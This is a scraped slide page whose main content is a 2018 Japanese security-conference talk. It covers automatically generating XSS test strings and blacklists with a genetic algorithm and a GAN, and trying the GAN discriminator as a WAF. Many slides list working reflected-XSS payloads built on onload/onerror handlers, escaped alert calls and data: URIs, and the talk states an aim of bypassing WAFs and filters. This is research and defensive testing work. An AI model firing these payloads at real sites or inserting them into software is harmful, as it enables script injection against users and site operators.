CODE BLUE 2016 - Method of Detecting Vulnerability in Web Apps
 
CODE BLUE 2016 - 機械学習でWebアプリケーションの脆弱性を見つける方法
CODE BLUE 2016 - 機械学習でWebアプリケーションの脆弱性を見つける方法CODE BLUE 2016 - 機械学習でWebアプリケーションの脆弱性を見つける方法
CODE BLUE 2016 - 機械学習でWebアプリケーションの脆弱性を見つける方法
 
機械学習でWebアプリの脆弱性を見つける - Reflected XSS 編 -
機械学習でWebアプリの脆弱性を見つける - Reflected XSS 編 -機械学習でWebアプリの脆弱性を見つける - Reflected XSS 編 -
機械学習でWebアプリの脆弱性を見つける - Reflected XSS 編 -
 
AISECjp SAIVS(Spider Artificial Intelligence Vulnerability Scanner)
AISECjp SAIVS(Spider Artificial Intelligence Vulnerability Scanner)AISECjp SAIVS(Spider Artificial Intelligence Vulnerability Scanner)
AISECjp SAIVS(Spider Artificial Intelligence Vulnerability Scanner)
 
Aiにwebアプリ診断をやらせてみる
Aiにwebアプリ診断をやらせてみるAiにwebアプリ診断をやらせてみる
Aiにwebアプリ診断をやらせてみる
 

Dernier

新人研修のまとめ 2024/04/12の勉強会で発表されたものです。
新人研修のまとめ       2024/04/12の勉強会で発表されたものです。新人研修のまとめ       2024/04/12の勉強会で発表されたものです。
新人研修のまとめ 2024/04/12の勉強会で発表されたものです。iPride Co., Ltd.
 
Amazon SES を勉強してみる その12024/04/12の勉強会で発表されたものです。
Amazon SES を勉強してみる その12024/04/12の勉強会で発表されたものです。Amazon SES を勉強してみる その12024/04/12の勉強会で発表されたものです。
Amazon SES を勉強してみる その12024/04/12の勉強会で発表されたものです。iPride Co., Ltd.
 
UPWARD_share_company_information_20240415.pdf
UPWARD_share_company_information_20240415.pdfUPWARD_share_company_information_20240415.pdf
UPWARD_share_company_information_20240415.pdffurutsuka
 
Postman LT Fukuoka_Quick Prototype_By Daniel
Postman LT Fukuoka_Quick Prototype_By DanielPostman LT Fukuoka_Quick Prototype_By Daniel
Postman LT Fukuoka_Quick Prototype_By Danieldanielhu54
 
スマートフォンを用いた新生児あやし動作の教示システム
スマートフォンを用いた新生児あやし動作の教示システムスマートフォンを用いた新生児あやし動作の教示システム
スマートフォンを用いた新生児あやし動作の教示システムsugiuralab
 
IoT in the era of generative AI, Thanks IoT ALGYAN.pptx
IoT in the era of generative AI, Thanks IoT ALGYAN.pptxIoT in the era of generative AI, Thanks IoT ALGYAN.pptx
IoT in the era of generative AI, Thanks IoT ALGYAN.pptxAtomu Hidaka
 
[DevOpsDays Tokyo 2024] 〜デジタルとアナログのはざまに〜 スマートビルディング爆速開発を支える 自動化テスト戦略
[DevOpsDays Tokyo 2024] 〜デジタルとアナログのはざまに〜 スマートビルディング爆速開発を支える 自動化テスト戦略[DevOpsDays Tokyo 2024] 〜デジタルとアナログのはざまに〜 スマートビルディング爆速開発を支える 自動化テスト戦略
[DevOpsDays Tokyo 2024] 〜デジタルとアナログのはざまに〜 スマートビルディング爆速開発を支える 自動化テスト戦略Ryo Sasaki
 
PHP-Conference-Odawara-2024-04-000000000
PHP-Conference-Odawara-2024-04-000000000PHP-Conference-Odawara-2024-04-000000000
PHP-Conference-Odawara-2024-04-000000000Shota Ito
 
20240412_HCCJP での Windows Server 2025 Active Directory
20240412_HCCJP での Windows Server 2025 Active Directory20240412_HCCJP での Windows Server 2025 Active Directory
20240412_HCCJP での Windows Server 2025 Active Directoryosamut
 

Dernier (9)

新人研修のまとめ 2024/04/12の勉強会で発表されたものです。
新人研修のまとめ       2024/04/12の勉強会で発表されたものです。新人研修のまとめ       2024/04/12の勉強会で発表されたものです。
新人研修のまとめ 2024/04/12の勉強会で発表されたものです。
 
Amazon SES を勉強してみる その12024/04/12の勉強会で発表されたものです。
Amazon SES を勉強してみる その12024/04/12の勉強会で発表されたものです。Amazon SES を勉強してみる その12024/04/12の勉強会で発表されたものです。
Amazon SES を勉強してみる その12024/04/12の勉強会で発表されたものです。
 
UPWARD_share_company_information_20240415.pdf
UPWARD_share_company_information_20240415.pdfUPWARD_share_company_information_20240415.pdf
UPWARD_share_company_information_20240415.pdf
 
Postman LT Fukuoka_Quick Prototype_By Daniel
Postman LT Fukuoka_Quick Prototype_By DanielPostman LT Fukuoka_Quick Prototype_By Daniel
Postman LT Fukuoka_Quick Prototype_By Daniel
 
スマートフォンを用いた新生児あやし動作の教示システム
スマートフォンを用いた新生児あやし動作の教示システムスマートフォンを用いた新生児あやし動作の教示システム
スマートフォンを用いた新生児あやし動作の教示システム
 
IoT in the era of generative AI, Thanks IoT ALGYAN.pptx
IoT in the era of generative AI, Thanks IoT ALGYAN.pptxIoT in the era of generative AI, Thanks IoT ALGYAN.pptx
IoT in the era of generative AI, Thanks IoT ALGYAN.pptx
 
[DevOpsDays Tokyo 2024] 〜デジタルとアナログのはざまに〜 スマートビルディング爆速開発を支える 自動化テスト戦略
[DevOpsDays Tokyo 2024] 〜デジタルとアナログのはざまに〜 スマートビルディング爆速開発を支える 自動化テスト戦略[DevOpsDays Tokyo 2024] 〜デジタルとアナログのはざまに〜 スマートビルディング爆速開発を支える 自動化テスト戦略
[DevOpsDays Tokyo 2024] 〜デジタルとアナログのはざまに〜 スマートビルディング爆速開発を支える 自動化テスト戦略
 
PHP-Conference-Odawara-2024-04-000000000
PHP-Conference-Odawara-2024-04-000000000PHP-Conference-Odawara-2024-04-000000000
PHP-Conference-Odawara-2024-04-000000000
 
20240412_HCCJP での Windows Server 2025 Active Directory
20240412_HCCJP での Windows Server 2025 Active Directory20240412_HCCJP での Windows Server 2025 Active Directory
20240412_HCCJP での Windows Server 2025 Active Directory
 

サイバーセキュリティ錬金術 - ノイズから価値あるデータを生成する技術 -

  • 1. 2018.09.14 Security reject Con + ssmjp Presented by Isao Takaesu (TW: @bbr_bbq) サイバーセキュリティ錬金術 - ノイズから価値あるデータを生成する技術 -
  • 2. 本日のお話し MBSD RejectCon + ssmjp インターネット上で誰でも簡単に入手できるデータ を、全自動で「価値あるデータ」に錬金する手法を 紹介します。 ありふれたデータ 価値あるデータ 錬金!!
  • 3. 本日の価値あるデータ:XSSの検査値/ブラックリスト 1 : <frameset><frame/onload=alert(1); /> 2 : <object/data=evil.html #</a> 3 : <body onmouseover=alert(1); <canvas </basefont> 4 : <video><source onerror=¥u0061lert(1); /> 5 : <svg/onload=alert(1); </del> 5 : <script>alert(1);</script> 6 : <script>onerror=¥u0061lert(1);</script> 7 : <video><source onerror=prompt(1);> 8 : <frameset><frame/onload=alert(1); /> 9 : <iframe/onload=alert(1); /> 10 : <body onload=alert(1); /> 診断員にとっては、脆弱性診断に役立つ検査値。 サイト運営者にとっては、攻撃の防御に役立つブラックリスト。 MBSD RejectCon + ssmjp
  • 4. 本日の価値あるデータ:XSSの検査値/ブラックリスト 1 : <frameset><frame/onload=alert(1); /> 2 : <object/data=evil.html #</a> 3 : <body onmouseover=alert(1); <canvas </basefont> 4 : <video><source onerror=¥u0061lert(1); /> 5 : <svg/onload=alert(1); </del> 5 : <script>alert(1);</script> 6 : <script>onerror=¥u0061lert(1);</script> 7 : <video><source onerror=prompt(1);> 8 : <frameset><frame/onload=alert(1); /> 9 : <iframe/onload=alert(1); /> 10 : <body onload=alert(1); /> 診断員にとっては、脆弱性診断に役立つ検査値。 サイト運営者にとっては、攻撃の防御に役立つブラックリスト。 MBSD RejectCon + ssmjp 本手法で錬金され た検査値です。
  • 5. RejectCon + ssmjp 錬金の手順 MBSD 2. GAで少数の検査値を生成 3. GANで大量の検査値を生成1. 検査値の基を収集 Step.1. 検査値の基を収集 [*] 記号やHTMLタグなど、検査値の最小構成要素(遺伝子)をWebから収集。 Step.2. 遺伝的アルゴリズム(GA)で検査値を生成 [*] 遺伝子の組み合わせ最適化(スクリプトが動作する文字列の発見)。 Step.3. 生成モデル(GAN)で大量の検査値を生成 [*] Step.2で生成した検査値を基に、多様性のある大量の検査値を生成。 Fully automatic (No human)Manual (human)
  • 6. RejectCon + ssmjp 錬金の手順 MBSD 2. GAで少数の検査値を生成 3. GANで大量の検査値を生成1. 検査値の基を収集 Step.1. 検査値の基を収集 [*] 記号やHTMLタグなど、検査値の最小構成要素(遺伝子)をWebから収集。 Step.2. 遺伝的アルゴリズム(GA)で検査値を生成 [*] 遺伝子の組み合わせ最適化(スクリプトが動作する文字列の発見)。 Step.3. 生成モデル(GAN)で大量の検査値を生成 [*] Step.2で生成した検査値を基に、多様性のある大量の検査値を生成。 Fully automatic (No human)Manual (human)
  • 7. RejectCon + ssmjp Step.1. 検査値の基を収集 MBSD HTML解説サイトからタグや属性・イベントハンドラなどを収集。 Html tag Attribute Event handler
  • 8. RejectCon + ssmjpMBSD [*] 収集した検査値の基の一例 Step.1. 検査値の基を収集 タグ 属性 イベントハンドラ 記号など <script> src= onerror “ <body/ type= onload ‘ <object/ data= onmouseover alert(); <iframe/ value= onfocus evil.html <input/ name= onclick evil.js
  • 9. RejectCon + ssmjp 錬金の手順 MBSD 2. GAで少数の検査値を生成 3. GANで大量の検査値を生成1. 検査値の基を収集 Step.1. 検査値の基を収集 [*] 記号やHTMLタグなど、検査値の最小構成要素(遺伝子)をWebから収集。 Step.2. 遺伝的アルゴリズム(GA)で検査値を生成 [*] 遺伝子の組み合わせ最適化(スクリプトが動作する文字列の発見)。 Step.3. 生成モデル(GAN)で大量の検査値を生成 [*] Step.2で生成した検査値を基に、多様性のある大量の検査値を生成。 Fully automatic (No human)Manual (human)
  • 10. RejectCon + ssmjpMBSD 環境に適合した個体(最適化された遺伝子の組み合わせ)を探索。 初期集団の生成 個体の評価 交叉突然変異 個体 ● ▲ ■ × ★遺伝子 選択 次世代へ… Step.2. 遺伝的アルゴリズムで検査値を生成 [*] 遺伝的アルゴリズム(GA)とは?
  • 11. RejectCon + ssmjpMBSD Step.2. 遺伝的アルゴリズムで検査値を生成 [*] 検査値はタグや属性などの要素の組み合わせで構成される。 <object/data=evil.html #</a> <object/ data= evil.html # </a> <video><source onerror=¥u0061lert(); /> <video> <source onerror= ¥u0061lert(); /> <iframe/onload=alert(); /> <iframe/ onload= alert(); /> - 各要素をGAにおける遺伝子として定義し、環境に適合した最適な遺 伝子の組み合わせを持った個体(検査値)を探索。 <svg/onload=alert(); </del> <svg/ onload= alert(); </del> -
  • 12. RejectCon + ssmjpMBSD Step.2. 遺伝的アルゴリズムで検査値を生成 [*] 環境への適合度を評価する手法。 評価関数を使用して各個体の適合度を求め、適合度の高い個体を 進化(交叉・突然変異)させて次世代に残す。これを繰り返す。 2. スクリプトが動作するか?1. HTML構文として正しいか?
  • 13. RejectCon + ssmjpMBSD Step.2. 遺伝的アルゴリズムで検査値を生成 [*] GAで生成した検査値。 Idx 検査値 1 <script>alert();</script></table><hr/ 2 <iframe/onload=alert();><select/ 3 <svg/<canvas/<select/onload=confirm();> 4 <video><source onerror=confirm();> 5 icon=<iframe/<body onload=¥u0061lert();> 6 <embed onload=alert();<script type="text/javascript"> 進化計算を繰り返すことで、数種類の検査値が生成される。 [!] 上記の検査値は、全てスクリプトが動作します。
  • 14. RejectCon + ssmjpMBSD https://goo.gl/LgnpGN Step.2. 遺伝的アルゴリズムで検査値を生成 [*] 詳細情報はコチラ。 日本語: 英語 :https://goo.gl/g4MfnP
  • 15. RejectCon + ssmjp 錬金の手順 MBSD 2. GAで少数の検査値を生成 3. GANで大量の検査値を生成1. 検査値の基を収集 Step.1. 検査値の基を収集 [*] 記号やHTMLタグなど、検査値の最小構成要素(遺伝子)をWebから収集。 Step.2. 遺伝的アルゴリズム(GA)で検査値を生成 [*] 遺伝子の組み合わせ最適化(スクリプトが動作する文字列の発見)。 Step.3. 生成モデル(GAN)で大量の検査値を生成 [*] Step.2で生成した検査値を基に、多様性のある大量の検査値を生成。 Fully automatic (No human)Manual (human)
  • 16. RejectCon + ssmjpMBSD ノイズを基に、訓練データを模倣したFakeデータを大量に生成。 ・ ・ ・ Noise Generator (G) ・ ・ ・ Generative Data ・ ・ ・ ・ ・ ・ Train Data Train Data ・・・ Discriminator (D) Probability True? [*] 生成モデル(GAN)とは? Step.3. 生成モデルで大量の検査値を生成
  • 17. RejectCon + ssmjpMBSD 模倣者は、お手本そっくりの贋作で騙そうとする。 鑑定士は、贋作を見破ろうとする。 騙し/見破りを繰り返すことで、お互いの能力が高まる(学習)。 G(=模倣者) D(=鑑定士) [*] 生成モデル(GAN)とは? Step.3. 生成モデルで大量の検査値を生成 Train data(お手本) Generative data(贋作) 騙そうとする 見破る
  • 18. RejectCon + ssmjpMBSD 学習を繰り返すことで、徐々に訓練データに近似したデータを生成。 Step.3. 生成モデルで大量の検査値を生成 [*] 生成モデル(GAN)の簡単な実行例。 ・訓練データ ・生成データ
  • 19. RejectCon + ssmjpMBSD 学習の過程で訓練データとは似て非なる様々な検査値を生成。 ・ ・ ・ Noise Generator (G) ・ ・ ・ Generative Data ・ ・ ・ ・ ・ ・ Train Data Train Data ・・・ Discriminator (D) Probability True? [*] 検査値を大量に生成するには? Step.3. 生成モデルで大量の検査値を生成 GAが生成した検査値
  • 20. RejectCon + ssmjpMBSD [*] 生成モデルで生成した検査値。 Idx 訓練データ(GAが生成した検査値) - <script>alert();</script></table><hr/ 生成されたデータ 1 <script>alert``;</script><table/</td> 2 <script>al¥u0065rt();</script></tr><th/ 3 <script>prompt();</script><th/<col/ 4 <script>confirm();</script><thead <table/ Step.3. 生成モデルで大量の検査値を生成 1つの訓練データから、複数種類の検査値が生成される。 [!] 訓練データとは似て非なる検査値を生成。
  • 21. RejectCon + ssmjpMBSD [*] 生成モデルで生成した検査値。 Idx 訓練データ(GAが生成した検査値) - <iframe/onload=alert();><select/ 生成されたデータ 1 colspan=<iframe <a onload=al¥u0065rt();> 2 <object/onload="onfocus=alert();"<script type="text/javascri pt"> 3 <iframe onload=alert``; /><select 4 icon=<iframe/<img onload=al¥u0065rt();> Step.3. 生成モデルで大量の検査値を生成 1つの訓練データから、複数種類の検査値が生成される。 [!] Idx.2は、訓練データとは全く異なる検査パターン。
  • 22. RejectCon + ssmjpMBSD [*] 生成モデルで生成した検査値。 Idx 訓練データ(GAが生成した検査値) - <svg/<canvas/<select/onload=confirm();> 生成されたデータ 1 <svg/onload="¥u0061lert();"></output> 2 <object/src=# onload=alert();¥n<script type="text/javascript "> 3 <script/src="data:text/html,alert();"<script></script> 4 <svg/onload=confirm();> Step.3. 生成モデルで大量の検査値を生成 1つの訓練データから、複数種類の検査値が生成される。 [!] Idx.2, 3は、訓練データとは全く異なる検査パターン。
  • 23. RejectCon + ssmjpMBSD [*] 生成モデルで生成した検査値。 Idx 訓練データ(GAが生成した検査値) - <video><source onerror=confirm();> 生成されたデータ 1 <video><source onerror="¥u0061lert``;"> 2 <video><source onerror="al¥u0065rt``;"> 3 <video><source/onerror=alert();> 4 <video><source onerror=prompt(1);> Step.3. 生成モデルで大量の検査値を生成 1つの訓練データから、複数種類の検査値が生成される。 [!] 訓練データとは似て非なる検査値を生成。
  • 24. RejectCon + ssmjpMBSD [*] 生成モデルで生成した検査値。 Idx 訓練データ(GAが生成した検査値) - icon=<iframe/<body onload=¥u0061lert();> 生成されたデータ 1 headers=<body/<body onload=alert();> 2 icon=<body <input/onload=confirm(1);> 3 kind=<body <img onload=alert``;> 4 <img src=# <keygen onerror=¥u0061lert``;> Step.3. 生成モデルで大量の検査値を生成 1つの訓練データから、複数種類の検査値が生成される。 [!] Idx.4は、訓練データとは異なる検査パターン。
  • 25. RejectCon + ssmjpMBSD [*] 生成モデルで生成した検査値。 Idx 訓練データ(GAが生成した検査値) - <embed onload=alert();<script type="text/javascript"> 生成されたデータ 1 <embed/onload=al¥u0065rt();¥n<script type="text/javascript"> 2 <embed onload=alert``;¥n<script type="text/javascript"> 3 <embed/onload=prompt();¥n<script type="text/javascript"> 4 <embed/src=# onload=confirm();¥n<script type="text/javascrip t"> Step.3. 生成モデルで大量の検査値を生成 1つの訓練データから、複数種類の検査値が生成される。 [!] 訓練データとは似て非なる検査値を生成。
  • 26. RejectCon + ssmjpMBSD [*] もっと検査値を増やしてみよう! Idx 訓練データ(1回目のGANで生成された検査値) - <object/src=# onload=alert();¥n<script type="text/javascrip t"> 生成されたデータ 1 <object/onload=prompt();¥n<script type="text/javascript"> 2 <svg/onload=al¥u0065rt();¥n<script type="text/javascript"> 3 <iframe/*/onload=charset=alert();> Step.3. 生成モデルで大量の検査値を生成 1回目のGANで生成された検査値を訓練データにすることで、 さらなる検査値が生成される。 [!] Idx.2, 3は、訓練データとは異なる検査パターン。
  • 27. RejectCon + ssmjpMBSD [*] もっと検査値を増やしてみよう! Idx 訓練データ(1回目のGANで生成された検査値) - <script/src="data:text/html,alert();"<script></script> 生成されたデータ 1 <script src="data:text/html,al¥u0065rt``;"<script></script> 2 <script src="data:text/html,confirm();"<script></script> 3 <script/src="data:text/html,alert``;"&#x0D;<script></script> Step.3. 生成モデルで大量の検査値を生成 1回目のGANで生成された検査値を訓練データにすることで、 さらなる検査値が生成される。 [!] 訓練データとは似て非なる検査値を生成。
  • 28. RejectCon + ssmjpMBSD [*] もっと検査値を増やしてみよう! Idx 訓練データ(1回目のGANで生成された検査値) - <img src=# <keygen onerror=¥u0061lert``;> 生成されたデータ 1 <script src=# <label onerror=confirm();¥n<script></script> 2 <img src= <meter onerror=alert();¥n<script></script> 3 <iframe src=# <keygen onload=alert();¥n<script></script> Step.3. 生成モデルで大量の検査値を生成 1回目のGANで生成された検査値を訓練データにすることで、 さらなる検査値が生成される。 [!] Idx.1, 3は、訓練データとは異なる検査パターン。
  • 29. RejectCon + ssmjpMBSD ノイズは[-1.0, 1.0]範囲でランダムに選んだ200次元ベクトル。 ・ ・ ・ Noise Generator (G) ・ ・ ・ Generative Data ・ ・ ・ ・ ・ ・ Train Data Train Data ・・・ Discriminator (D) Probability True? [*] もっともっと検査値を増やしてみよう! Step.3. 生成モデルで大量の検査値を生成 GAが生成した検査値 ノイズに着目!!
  • 30. RejectCon + ssmjpMBSD (十分に学習したGANにおいては)ノイズの値域内からサンプリン グした各ベクトルと、GANで生成される検査値は紐付いている。 [*] Generatorに入力されるノイズの空間。 Step.3. 生成モデルで大量の検査値を生成 ノイズの値域 [-1.0, 1.0]^n <script>al¥u0065rt();</script> <svg onload=alert();src=evil.js "" /> <video><source/onerror=alert();> [-0.183, 0.752 … 0.002, -0.652] [0.723, -0.083 … 0.189, 0.044] [-0.081, -0.531 … 0.024, -0.326]
  • 31. RejectCon + ssmjpMBSD (スクリプトが動作する)2つの検査値に紐付くノイズの中間値を Generatorに入力すると、各検査値を併せた検査値が生成される? [*] 足し算・引き算ができるベクトルの特性を利用する。 Step.3. 生成モデルで大量の検査値を生成 <script>al¥u0065rt();</script> <svg onload=alert();src=evil.js "" /> <script src=saivs.js "></script> [*] 期待する結果。
  • 32. RejectCon + ssmjpMBSD [*] 2つのノイズの中間値を基に生成された検査値。 元の検査値 <object/<embed/data=evil.html <script type="text/javascrip t"> <object/src=# onload=alert();¥n<script type="text/javascrip t"> 生成されたデータ <embed/<a/onload=alert();¥n<script type="text/javascript"> 2つの検査値の特徴を併せた検査値が生成される。 [*] HTMLタグ、イベントハンドラなどが組み合わさっている。 Step.3. 生成モデルで大量の検査値を生成
  • 33. RejectCon + ssmjpMBSD [*] 2つのノイズの中間値を基に生成された検査値。 元の検査値 alert``;<script>al¥u0065rt``;</script> ¥u0061lert``;<script>prompt();</script> 生成されたデータ al¥u0065rt();<script>confirm();</script> 組み合わせとは言えない検査値も生成される。 [?] 元検査値の組み合わせを考慮する必要がある? ノイズ値域において、検査値やタグなどの分布を調査する 必要がある? Step.3. 生成モデルで大量の検査値を生成
  • 34. RejectCon + ssmjpMBSD [*] 本手法で錬金された検査値数と処理時間。 まとめ 手法 生成された検査値の総数 処理時間 遺伝的アルゴリズム(GA) 6 個 5.0 時間 生成モデル : 1回目 581 個 (+575) 2.0 時間 生成モデル : 2回目 627 個 (+146) 1.0 時間 生成モデル : ノイズ合成 643 個 ( +16) 0.5 時間 [!] 文字列として重複していない検査値をカウント。 [!] 動作パターンによる重複は排除していない。 インターネット上で誰でも簡単に入手できるデータを、 現実的な時間で価値あるデータに錬金することができた。
  • 35. RejectCon + ssmjpMBSD 鑑定士(D)は、お手本をまねた贋作を見破ることができる。 本日のタスクでは「お手本=検査値」とした。 よって、模倣者(G)が作る贋作も検査値。ということは・・・ G(=模倣者) D(=鑑定士) [*] 鑑定士(D)の「見破る」能力を何かに活用できないか? Step.3. 生成モデルで大量の検査値を生成 Train data(お手本) Generative data(贋作) 騙そうとする 見破る
  • 36. RejectCon + ssmjpMBSD スクリプトが動作する文字列(検査値)と無害な文字列をやられサー バに送信し、Discriminatorの検知精度と応答速度を観測。 [!] Discriminatorの出力が「0.53」以上の場合にBlock Discriminator (WAF) [*] 鑑定士(Discriminator)をWAFにする試み。 Step.3. 生成モデルで大量の検査値を生成 やられサーバテスター Block or Allow 検証環境イメージ Probability
  • 37. RejectCon + ssmjpMBSD Discriminatorは、FPを回避する能力が優れているが、学習が足り ないと致命的なFNを引き起こす。また、応答速度にも難がある。 [!] 実運用するには、上記課題の解決が必須(今後の課題)。 [*] 計測結果(FP=False Positive, FN=False Negative)。 Step.3. 生成モデルで大量の検査値を生成 Idx 送信文字列 検知精度 - - Discriminator Mod Security 1 <script>hello Allow [0.51] Block(FP) 2 <a/alert();>hello Allow [0.50] Block(FP) 3 <script>alert();</script> Block [0.54] Block 4 <img src=x onerror=xss> Block [0.56] Block 5 <a onmouseover=alert();> Allow(FN) [0.49] Block 平均応答速度: 約 200 [ms] 約 5~10 [ms]
  • 38. MBSD 今後の課題(≒ Rejectされた理由) RejectCon + ssmjp [+] 生成した検査値/ブラックリストの実証実験 * 検査値を使用し、実サービス/製品の脆弱性を検出する。 * Webサイトでブラックリストを使用し、実際の攻撃を防ぐ。 [+] 人間では思いつかない(つき難い)検査値の生成 * WAFやフィルタをBypassする検査値を生成する。 そして、これをWAFベンダなどにフィードバックする。 [+] 他分野への応用 * 他脆弱性の検査値や他セキュリティ領域に応用する。
  • 40. Reference all source codes and document: https://github.com/13o-bbr-bbq/machine_learning_security/